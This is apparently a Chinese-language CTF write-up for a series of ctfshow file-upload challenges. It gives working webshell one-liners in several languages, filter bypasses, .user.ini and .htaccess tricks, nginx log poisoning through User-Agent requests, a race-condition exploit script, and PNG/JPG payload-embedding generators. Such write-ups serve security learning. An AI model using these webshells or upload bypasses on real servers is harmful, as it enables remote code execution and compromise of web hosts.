web151 一句话木马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 PHP <?php @eval($_POST['shell']); ?> ASP <%eval request("cmd")%> JSP <%Runtime.getRuntime().exec(request.getParameter("cmd"));%> Python (常见于Django, Flask等) import os os.system(request.form['cmd']) C#(常见于ASP.NET) <% System.Diagnostics.Process.Start(Request["cmd"]); %>
前端校验,有多种绕过方式
方法一: 将文件上传的后缀名限制修改为php
方法二: bp抓包绕过
web152 MIME头绕过
修改Content-Type即可
web153 .user.ini绕过
1 2 3 4 5 6 7 8 9 由于 .user.ini 文件可以覆盖某些 PHP 配置,它也可能被恶意利用来绕过服务器管理员设置的限制,以下是一些可能的方式: 文件上传限制: 如果服务器全局设置了较低的文件上传大小限制,恶意用户可以通过 .user.ini 文件增加 upload_max_filesize 和 post_max_size,来上传更大的文件。 脚本执行时间: 恶意用户可能会增加 max_execution_time 以避免脚本执行超时,从而进行更长时间的恶意活动,如暴力破解等。 内存限制: 增加 memory_limit 可以帮助恶意脚本在执行时获取更多的服务器资源,可能导致拒绝服务攻击(DoS)。 PHP 文件包含漏洞 auto_prepend_file在 PHP 中,当用户访问.user.ini所在目录主页文件时,auto_prepend_file所指向的文件内容,会自动进行包含,将文件内容当作php代码执行
首先编写一个”.user.ini”文件
1 auto_prepend_file=shell.png
先将”.user.ini”上传至目标靶机 上传的时候发现”.user.ini”不符合上传规范,依旧是给他增加一个合法的后缀名,再利用burp修改即可 之后再将包含一句话木马的shell.png上传至目标靶机
值得注意的的是,并不能完全肯定upload目录下的主页文件是哪个,所以可以直接访问upload目录
明显可以看到,在shell.png写的内容也出现了 接下来使用蚁剑连接即可
web154 短标签绕过
php部分标签写法
1 2 3 4 <?php @eval($_POST['cmd']); ?> //正常写法 <?=@eval($_POST['cmd']); ?> //短标签,适合过滤php <% @eval($_POST['cmd']); %> //asp风格 <script language='php'>@eval($_POST['cmd']);</script> //<script>风格,适合过滤<?
本题过滤了php这个关键字,利用短标签绕过即可
web155 同web154
web156 php关键字和[]绕过
php中,[]可以使用{}进行替换
1 <?=@eval($_POST{'cmd'}); ?>
web157 php关键字、[]、{}绕过
Linux中通配符作用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 1. 星号(*) 星号用于匹配任意数量的字符(包括零个字符)。 示例: ls *.txt:列出当前目录下所有扩展名为.txt的文件。 cp /home/user/*.jpg /home/user/photos/:将/home/user/目录下所有扩展名为.jpg的文件复制到/home/user/photos/目录。 rm report*:删除当前目录下所有以report开头的文件。 2. 问号(?) 问号用于匹配单个字符。 示例: ls file?.txt:列出当前目录下所有文件名格式为fileX.txt的文件,其中X可以是任意单个字符。 mv data??.csv backup/:将当前目录下所有文件名格式为dataXX.csv的文件移动到backup/目录,其中XX可以是任意两个字符。 3. 方括号([]) 方括号用于匹配方括号内的任意一个字符。 示例: ls [abc].txt:列出当前目录下所有文件名为a.txt、b.txt或c.txt的文件。 rm file[1-9].txt:删除当前目录下所有文件名格式为fileX.txt的文件,其中X可以是1到9之间的任意一个数字。 4. 大括号({}) 大括号用于匹配大括号内的任意一个模式。 示例: cp {file1,file2,file3}.txt backup/:将当前目录下文件名为file1.txt、file2.txt和file3.txt的文件复制到backup/目录。 mv {*.jpg,*.png} images/:将当前目录下所有扩展名为.jpg和.png的文件移动到images/目录。 5. 感叹号(!) 感叹号用于在方括号内表示排除某个字符。 示例: ls [!abc].txt:列出当前目录下所有文件名不是a.txt、b.txt或c.txt的文件。 rm file[!1-9].txt:删除当前目录下所有文件名格式为fileX.txt的文件,其中X不是1到9之间的任意一个数字。
除上一题过滤的之外,{}也被过滤了
这里可以考虑使用system函数直接执行命令获取flag
php被过滤,可以利用通配符来进行模糊匹配
1 <?=system("cat ../flag.???")?>
web158 同web157
web159 php关键字、[]、{}、;、()绕过
PHP命令执行函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 1. exec() exec()执行一个外部程序,并返回最后一行输出的结果。 2. system() system()执行一个外部程序,并输出结果。返回命令的最后一行输出。 3. shell_exec() shell_exec()执行一个命令,并返回完整的输出。 4. passthru() passthru()执行一个命令,并直接输出结果到标准输出(通常是浏览器)。它与system()类似,但不会返回命令的输出。 5. popen() popen()打开一个管道到一个进程,允许读取或写入进程的标准输入/输出。 6. proc_open() proc_open()可以启动一个进程,并更多地控制其输入和输出。 7. `` PHP 也支持用反引号(``)包围命令的方式来执行命令,这是与shell中类似的语法。
web160 日志绕过
这里反撇号也被过滤了,考虑用日志包含进行绕过
依旧是先上传.user.ini文件
shell.png的内容如下
1 <?=include"/var/lo"."g/nginx/access.lo"."g"?>
这段代码包含并输出 /var/log/nginx/access.log 文件的内容。由于包含的是一个日志文件,它的内容会直接作为PHP代码执行。 其中/var/log/nginx/access.log到底为nginx的日志文件。 因为log被过滤,所以使用 . 进行拼接字符串,从而实现绕过
由于日志文件会记录UA头,故可以将恶意代码放入UA头中来获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /upload.php HTTP/1.1 Host: ed2b2784-0d65-4b5b-9733-16f5df1adc93.challenge.ctf.show User-Agent: <?=`cat ../flag.php`?> Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----geckoformboundary68e3863c480935f2a138f2a8451d0ab Content-Length: 236 Origin: https://ed2b2784-0d65-4b5b-9733-16f5df1adc93.challenge.ctf.show Referer: https://ed2b2784-0d65-4b5b-9733-16f5df1adc93.challenge.ctf.show/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close ------geckoformboundary68e3863c480935f2a138f2a8451d0ab Content-Disposition: form-data; name="file"; filename="shell.png" Content-Type: image/png <?=include"/var/lo"."g/nginx/access.lo"."g"?> ------geckoformboundary68e3863c480935f2a138f2a8451d0ab--
最后依旧是访问/upload/,成功获取flag
web161 GIF89a绕过
与web160相同,只不过在文件头添加GIF89a即可成功上传
web162 条件竞争
首先上传.user.ini
1 2 GIF89a auto_append_file=/tmp/sess_zho
zho可以随缘改,和后面脚本中的sess中的内容相一致即可
接下来使用脚本 exp.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import requestsimport threadingimport re session = requests.session() sess = 'zho' url1 = "http://2691636c-bd30-48fc-aae6-36ed791add6a.challenge.ctf.show/" url2 = "http://2691636c-bd30-48fc-aae6-36ed791add6a.challenge.ctf.show/upload" data1 = { 'PHP_SESSION_UPLOAD_PROGRESS' : '<?php system("tac ../f*");?>' } file = { 'file' : '111' } cookies = { 'PHPSESSID' : sess } def upload_file (): while True : session.post(url1, data=data1, files=file, cookies=cookies) def check_flag (): while True : response = session.get(url2) if 'flag' in response.text: flag = re.search(r'ctfshow{.+}' , response.text) if flag: print (flag.group()) threads = [ threading.Thread(target=upload_file), threading.Thread(target=check_flag) ] for t in threads: t.start()
web163 同web162
web164 png二次渲染操纵 IDAT 块
二次渲染漏洞原理
在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。
png二次渲染漏洞原理
(1)PNG文件格式结构
PNG(Portable Network Graphics)是一种无损压缩的图像格式,其文件结构是以块(chunk)为单位来组织的。每个块都有特定的功能,标准的 PNG 文件由以下关键块组成:
IHDR(Image Header):图像头部块,定义图像的基本属性(如宽度、高度、颜色深度等)。
IDAT(Image Data):图像数据块,包含实际的图像像素信息。
IEND(Image End):图像结束块,表示图像文件的结束。
其他可选的块,如 tEXt(用于存储文本注释),pHYs(存储图像物理维度),以及 PLTE(调色板)等。
在正常情况下,PNG 文件必须符合一定的标准和格式要求,否则大多数 PNG 解析器会拒绝加载或渲染该文件。也就是说,我们想要手工插入恶意代码且不损坏图像文件,几乎不可能
(2)二次渲染漏洞的产生原因
不同解析器的兼容性差异:不同的软件、浏览器或操作系统中的 PNG 解析库对图像的解析方式有所不同。例如,某些解析器可能对格式不规范的 PNG 文件宽容处理,而其他解析器则会严格遵循规范。当同一个 PNG 文件被不同软件解析时,可能会出现不同的渲染结果。
损坏文件的不同处理方式:一些 PNG 文件可能在结构上经过故意破坏(例如块顺序异常、块大小不一致或非法数据填充)。某些解析器会忽略这些问题继续渲染图像,而其他解析器可能会按照不同的规则处理,甚至放弃渲染。这种处理方式的差异可能导致同一个文件在不同环境下显示不同的图像内容。
利用非法块或多义性:PNG 文件中可能包含多义性块,或者包含了无效数据的块。不同的解析器在处理这些数据时可能会采取不同的操作路径。例如,一个图像头块 (IHDR) 的错误定义可能会导致某些解析器按错误的格式渲染图像,而其他解析器可能能识别并校正错误。
(3)PNG 二次渲染漏洞的典型利用方式
篡改块内容或顺序: 攻击者可能会故意改变 PNG 文件中的块内容或块顺序,使得不同的解析器呈现不同的结果。比如:
在一个浏览器中,图像可能被正常显示;
而在另一个浏览器中,图像可能显示错误或者带有恶意内容(例如广告或攻击性内容)。 这种情况可能涉及块中的元数据或图像数据的篡改,造成渲染差异。
损坏的图像数据: 通过损坏或操纵 IDAT 块(图像数据块),攻击者可以在某些情况下影响图像的解压和显示效果。例如,PNG 图像的图像数据采用的是 zlib 压缩算法,不同的解压库可能对损坏数据的容忍度不同,导致渲染效果不同。
颜色管理和透明度问题: PNG 支持丰富的颜色深度和透明度通道。有时,通过故意操纵颜色通道数据(如 alpha 通道),攻击者可以使得某些渲染器显示不同的透明度效果。例如:
在某些浏览器中,图像可能会显示为透明;
在其他浏览器中,图像则可能不透明,甚至显示出攻击者隐藏的恶意图像。
文本注释块(tEXt)滥用: 某些 PNG 文件可能包含文本注释块 (tEXt),这些注释通常包含元数据,但如果这些数据被故意操控,可能会在某些解析器中触发不同的行为(如展示错误或乱码)。此外,一些文本注释块可以包含恶意内容,如脚本注入,导致跨站脚本攻击(XSS)。
题目实践
exp.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $p = array (0xa3 , 0x9f , 0x67 , 0xf7 , 0x0e , 0x93 , 0x1b , 0x23 , 0xbe , 0x2c , 0x8a , 0xd0 , 0x80 , 0xf9 , 0xe1 , 0xae , 0x22 , 0xf6 , 0xd9 , 0x43 , 0x5d , 0xfb , 0xae , 0xcc , 0x5a , 0x01 , 0xdc , 0x5a , 0x01 , 0xdc , 0xa3 , 0x9f , 0x67 , 0xa5 , 0xbe , 0x5f , 0x76 , 0x74 , 0x5a , 0x4c , 0xa1 , 0x3f , 0x7a , 0xbf , 0x30 , 0x6b , 0x88 , 0x2d , 0x60 , 0x65 , 0x7d , 0x52 , 0x9d , 0xad , 0x88 , 0xa1 , 0x66 , 0x44 , 0x50 , 0x33 ); $img = imagecreatetruecolor (32 , 32 );for ($y = 0 ; $y < sizeof ($p ); $y += 3 ) { $r = $p [$y ]; $g = $p [$y +1 ]; $b = $p [$y +2 ]; $color = imagecolorallocate ($img , $r , $g , $b ); imagesetpixel ($img , round ($y / 3 ), 0 , $color ); } imagepng ($img ,'./1.png' );?>
这个脚本便是通过操纵 IDAT 块(图像数据块)将恶意代码插入了其中
1 <?=$_GET[0]($_POST[1]);?>
运行这个脚本后,将生成的图片木马上传 当我们按照木马执行命令时,发现并没有回显文件目录
这个时候我们需要给请求头增加Content-Type: application/x-www-form-urlencoded这个字段 其作用如下
Content-Type: application/x-www-form-urlencoded 是 HTTP 请求头中用于指定请求主体的编码格式的字段。它的作用是告诉服务器,客户端发送的数据采用 application/x-www-form-urlencoded 格式进行编码。这个格式通常用于 HTML 表单提交,特别是在使用 POST 方法时。
添加这个请求头成功获取flag
web165 jpg二次渲染
先将一个正常的jpg图片上传到服务器中,让他先进行一次渲染 上传成功后,将图片下载到本地,注意另存为图片时,去upload下直接查看这个图片进行下载,不然下载下来不是jpg格式
将脚本和下载下来的图片放到同一目录执行如下命令
1 php jpg_payload.php 1.jpg
出现success就代表执行成功了,同级目录下一般会出现payload_原图片名.jpg文件 将生成的图片马再次上传到服务器,可以再次下载这张图片,查看恶意代码是否成功注入
jpg_payload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 <?php $miniPayload = "<?=eval(\$_POST[1]);?>" ; if (!extension_loaded ('gd' ) || !function_exists ('imagecreatefromjpeg' )) { die ('php-gd is not installed' ); } if (!isset ($argv [1 ])) { die ('php jpg_payload.php <jpg_name.jpg>' ); } set_error_handler ("custom_error_handler" ); for ($pad = 0 ; $pad < 1024 ; $pad ++) { $nullbytePayloadSize = $pad ; $dis = new DataInputStream ($argv [1 ]); $outStream = file_get_contents ($argv [1 ]); $extraBytes = 0 ; $correctImage = TRUE ; if ($dis ->readShort () != 0xFFD8 ) { die ('Incorrect SOI marker' ); } while ((!$dis ->eof ()) && ($dis ->readByte () == 0xFF )) { $marker = $dis ->readByte (); $size = $dis ->readShort () - 2 ; $dis ->skip ($size ); if ($marker === 0xDA ) { $startPos = $dis ->seek (); $outStreamTmp = substr ($outStream , 0 , $startPos ) . $miniPayload . str_repeat ("\0" ,$nullbytePayloadSize ) . substr ($outStream , $startPos ); checkImage ('_' .$argv [1 ], $outStreamTmp , TRUE ); if ($extraBytes !== 0 ) { while ((!$dis ->eof ())) { if ($dis ->readByte () === 0xFF ) { if ($dis ->readByte !== 0x00 ) { break ; } } } $stopPos = $dis ->seek () - 2 ; $imageStreamSize = $stopPos - $startPos ; $outStream = substr ($outStream , 0 , $startPos ) . $miniPayload . substr ( str_repeat ("\0" ,$nullbytePayloadSize ). substr ($outStream , $startPos , $imageStreamSize ), 0 , $nullbytePayloadSize +$imageStreamSize -$extraBytes ) . substr ($outStream , $stopPos ); } elseif ($correctImage ) { $outStream = $outStreamTmp ; } else { break ; } if (checkImage ('payload_' .$argv [1 ], $outStream )) { die ('Success!' ); } else { break ; } } } } unlink ('payload_' .$argv [1 ]); die ('Something\'s wrong' ); function checkImage ($filename , $data , $unlink = FALSE ) { global $correctImage ; file_put_contents ($filename , $data ); $correctImage = TRUE ; imagecreatefromjpeg ($filename ); if ($unlink ) unlink ($filename ); return $correctImage ; } function custom_error_handler ($errno , $errstr , $errfile , $errline ) { global $extraBytes , $correctImage ; $correctImage = FALSE ; if (preg_match ('/(\d+) extraneous bytes before marker/' , $errstr , $m )) { if (isset ($m [1 ])) { $extraBytes = (int )$m [1 ]; } } } class DataInputStream { private $binData ; private $order ; private $size ; public function __construct ($filename , $order = false , $fromString = false ) { $this ->binData = '' ; $this ->order = $order ; if (!$fromString ) { if (!file_exists ($filename ) || !is_file ($filename )) die ('File not exists [' .$filename .']' ); $this ->binData = file_get_contents ($filename ); } else { $this ->binData = $filename ; } $this ->size = strlen ($this ->binData); } public function seek ( ) { return ($this ->size - strlen ($this ->binData)); } public function skip ($skip ) { $this ->binData = substr ($this ->binData, $skip ); } public function readByte ( ) { if ($this ->eof ()) { die ('End Of File' ); } $byte = substr ($this ->binData, 0 , 1 ); $this ->binData = substr ($this ->binData, 1 ); return ord ($byte ); } public function readShort ( ) { if (strlen ($this ->binData) < 2 ) { die ('End Of File' ); } $short = substr ($this ->binData, 0 , 2 ); $this ->binData = substr ($this ->binData, 2 ); if ($this ->order) { $short = (ord ($short [1 ]) << 8 ) + ord ($short [0 ]); } else { $short = (ord ($short [0 ]) << 8 ) + ord ($short [1 ]); } return $short ; } public function eof ( ) { return !$this ->binData||(strlen ($this ->binData) === 0 ); } } ?>
web166 随便搞一个zip的压缩包,将恶意代码注入到压缩包里即可
web167 .htaccess文件利用
编写 .htaccess文件
1 2 3 <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch>
或者
1 2 3 <IfModule mime_module> AddType application/x-httpd-php .jpg </IfModule>
接下来在shell.jpg文件中插入恶意代码,然后上传jpg木马文件,蚁剑连接即可,注意连接地址为http,使用https可能会失败
web168 基础免杀 关键词绕过
测试后发现``反引号并没有过滤,可以利用反引号进行命令执行
用 $_REQUEST 绕过也可以
1 <?php $_REQUEST[1]($_REQUEST[2]);?>
web169 .user.ini的条件利用
nginx 服务器, < > 都被过滤了, 但是 php 后缀能上传 Content-Type 好像必须是 image/png 才行 upload 目录下没有 index.php, 但因为我们可以自行上传 php 所以配合 .user.ini 包含 nginx 日志,在UA中写恶意代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 POST /upload.php HTTP/1.1 Host: a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----geckoformboundaryf7669211958b4423123470db5e18f9ae Content-Length: 230 Origin: https://a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show Referer: https://a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close ------geckoformboundaryf7669211958b4423123470db5e18f9ae Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/octet-stream 111 ------geckoformboundaryf7669211958b4423123470db5e18f9ae--
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /upload.php HTTP/1.1 Host: a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show User-Agent: <?=`tac ../flagaa.php`?> Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----geckoformboundaryd0047960e771aa384bfe90a1bb6b5294 Content-Length: 264 Origin: https://a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show Referer: https://a346696b-9ed9-44fd-9714-e5f8889a804e.challenge.ctf.show/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close ------geckoformboundaryd0047960e771aa384bfe90a1bb6b5294 Content-Disposition: form-data; name="file"; filename=".user.ini" Content-Type: image/png GIF89a auto_append_file="/var/log/nginx/access.log" ------geckoformboundaryd0047960e771aa384bfe90a1bb6b5294--
访问/upload/shell.php即可
web170 同web169